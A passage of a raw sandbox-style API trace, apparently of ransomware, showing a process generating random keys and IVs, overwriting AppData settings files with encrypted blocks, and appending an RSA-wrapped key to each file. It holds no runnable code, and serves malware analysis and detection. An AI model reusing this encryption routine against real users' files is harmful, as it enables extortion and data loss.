nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ecd058*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0157.830] SetFilePointer (in: hFile=0xbec, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.830] WriteFile (in: hFile=0xbec, lpBuffer=0x2ec3030*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec3030*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0157.831] SetFilePointer (in: hFile=0xbec, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0157.831] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0157.831] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4530*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4530*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0157.831] WriteFile (in: hFile=0xbec, lpBuffer=0x5c4530*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4530*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0157.831] WriteFile (in: hFile=0xbec, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0157.831] CloseHandle (hObject=0xbec) returned 1 [0157.834] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0157.834] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0157.834] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Appconnector_8wekyb3d8bbwe\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0157.835] ReadFile (in: hFile=0xbec, lpBuffer=0x2ecb050, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ecb050*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0157.843] SetFilePointer (in: hFile=0xbec, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.844] WriteFile (in: hFile=0xbec, lpBuffer=0x2ec3030*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec3030*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0157.844] SetFilePointer (in: hFile=0xbec, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0157.844] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0157.844] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0157.844] WriteFile (in: hFile=0xbec, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0157.845] WriteFile (in: hFile=0xbec, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0157.845] CloseHandle (hObject=0xbec) returned 1 [0157.846] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0157.846] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0157.846] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Appconnector_8wekyb3d8bbwe\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0157.847] ReadFile (in: hFile=0xbec, lpBuffer=0x5c3448, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0157.847] SetFilePointer (in: hFile=0xbec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.847] WriteFile (in: hFile=0xbec, lpBuffer=0x5c34b8*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0157.847] SetFilePointer (in: hFile=0xbec, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0157.847] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0157.847] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0157.847] WriteFile (in: hFile=0xbec, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0157.848] WriteFile (in: hFile=0xbec, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0157.848] CloseHandle (hObject=0xbec) returned 1 [0157.851] WriteFile (in: hFile=0xbf8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0157.852] CloseHandle (hObject=0xbf8) returned 1 [0157.853] WriteFile (in: hFile=0xbf8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0157.853] CloseHandle (hObject=0xbf8) returned 1 [0157.854] WriteFile (in: hFile=0xbf8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0157.854] CloseHandle (hObject=0xbf8) returned 1 [0157.855] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0157.855] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3458 | out: pbBuffer=0x5c3458) returned 1 [0157.855] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BingFinance_8wekyb3d8bbwe\\Settings\\settings.dat.LOG2", dwFileAttributes=0x80) returned 1 [0157.863] ReadFile (in: hFile=0xc10, lpBuffer=0x5c3428, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3428*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0157.864] SetFilePointer (in: hFile=0xc10, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.864] WriteFile (in: hFile=0xc10, lpBuffer=0x5c33d8*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0157.864] SetFilePointer (in: hFile=0xc10, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0157.864] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0157.864] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0157.864] WriteFile (in: hFile=0xc10, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0157.865] WriteFile (in: hFile=0xc10, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0157.865] CloseHandle (hObject=0xc10) returned 1 [0157.867] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5298 | out: pbBuffer=0x5c5298) returned 1 [0157.867] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33f8 | out: pbBuffer=0x5c33f8) returned 1 [0157.867] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BingFinance_8wekyb3d8bbwe\\Settings\\settings.dat.LOG1", dwFileAttributes=0x80) returned 1 [0157.868] ReadFile (in: hFile=0xc10, lpBuffer=0x2ec7040, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec7040*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0157.880] SetFilePointer (in: hFile=0xc10, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.880] WriteFile (in: hFile=0xc10, lpBuffer=0x2ecf060*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ecf060*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0157.880] SetFilePointer (in: hFile=0xc10, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0157.881] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0157.881] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0157.881] WriteFile (in: hFile=0xc10, lpBuffer=0x5c5298*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5298*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0157.881] WriteFile (in: hFile=0xc10, lpBuffer=0x5c33f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0157.881] CloseHandle (hObject=0xc10) returned 1 [0157.883] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5298 | out: pbBuffer=0x5c5298) returned 1 [0157.883] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33f8 | out: pbBuffer=0x5c33f8) returned 1 [0157.883] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BingFinance_8wekyb3d8bbwe\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0157.884] ReadFile (in: hFile=0xc10, lpBuffer=0x2ec5038, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec5038*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0157.890] SetFilePointer (in: hFile=0xc10, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.891] WriteFile (in: hFile=0xc10, lpBuffer=0x2ec7040*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec7040*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0157.891] SetFilePointer (in: hFile=0xc10, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0157.891] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0157.891] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0157.891] WriteFile (in: hFile=0xc10, lpBuffer=0x5c5298*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5298*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0157.892] WriteFile (in: hFile=0xc10, lpBuffer=0x5c33f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0157.892] CloseHandle (hObject=0xc10) returned 1 [0157.893] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0157.893] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33d8 | out: pbBuffer=0x5c33d8) returned 1 [0157.893] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BingFinance_8wekyb3d8bbwe\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0157.894] ReadFile (in: hFile=0xc10, lpBuffer=0x5c3538, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0157.894] SetFilePointer (in: hFile=0xc10, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.894] WriteFile (in: hFile=0xc10, lpBuffer=0x5c3408*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3408*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0157.894] SetFilePointer (in: hFile=0xc10, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0157.894] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0157.894] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0157.894] WriteFile (in: hFile=0xc10, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0157.895] WriteFile (in: hFile=0xc10, lpBuffer=0x5c33d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0157.896] CloseHandle (hObject=0xc10) returned 1 [0157.899] WriteFile (in: hFile=0xc1c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0157.900] CloseHandle (hObject=0xc1c) returned 1 [0157.901] WriteFile (in: hFile=0xc1c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0157.902] CloseHandle (hObject=0xc1c) returned 1 [0157.902] WriteFile (in: hFile=0xc1c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0157.903] CloseHandle (hObject=0xc1c) returned 1 [0157.904] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c3be8 | out: pbBuffer=0x5c3be8) returned 1 [0157.904] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33d8 | out: pbBuffer=0x5c33d8) returned 1 [0157.904] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BingNews_8wekyb3d8bbwe\\Settings\\settings.dat.LOG2", dwFileAttributes=0x80) returned 1 [0157.910] ReadFile (in: hFile=0xc30, lpBuffer=0x5c3518, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0157.910] SetFilePointer (in: hFile=0xc30, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.910] WriteFile (in: hFile=0xc30, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0157.910] SetFilePointer (in: hFile=0xc30, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0157.910] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0157.910] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c3be8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c3be8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0157.910] WriteFile (in: hFile=0xc30, lpBuffer=0x5c3be8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3be8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0157.911] WriteFile (in: hFile=0xc30, lpBuffer=0x5c33d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0157.912] CloseHandle (hObject=0xc30) returned 1 [0157.913] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4428 | out: pbBuffer=0x5c4428) returned 1 [0157.913] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0157.914] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BingNews_8wekyb3d8bbwe\\Settings\\settings.dat.LOG1", dwFileAttributes=0x80) returned 1 [0157.914] ReadFile (in: hFile=0xc30, lpBuffer=0x2ecd058, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ecd058*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0157.926] SetFilePointer (in: hFile=0xc30, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.926] WriteFile (in: hFile=0xc30, lpBuffer=0x2ecb050*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ecb050*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0157.927] SetFilePointer (in: hFile=0xc30, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0157.927] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0157.927] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0157.927] WriteFile (in: hFile=0xc30, lpBuffer=0x5c4428*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0157.927] WriteFile (in: hFile=0xc30, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0157.927] CloseHandle (hObject=0xc30) returned 1 [0157.929] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0157.929] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33d8 | out: pbBuffer=0x5c33d8) returned 1 [0157.929] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BingNews_8wekyb3d8bbwe\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0157.960] ReadFile (in: hFile=0xc30, lpBuffer=0x2ecb050, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ecb050*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0157.967] SetFilePointer (in: hFile=0xc30, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.967] WriteFile (in: hFile=0xc30, lpBuffer=0x2ed1068*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ed1068*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0157.967] SetFilePointer (in: hFile=0xc30, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0157.967] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0157.968] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0157.968] WriteFile (in: hFile=0xc30, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0157.968] WriteFile (in: hFile=0xc30, lpBuffer=0x5c33d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0157.968] CloseHandle (hObject=0xc30) returned 1 [0157.970] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c3f00 | out: pbBuffer=0x5c3f00) returned 1 [0157.970] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33f8 | out: pbBuffer=0x5c33f8) returned 1 [0157.970] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BingNews_8wekyb3d8bbwe\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0157.970] ReadFile (in: hFile=0xc30, lpBuffer=0x5c33d8, 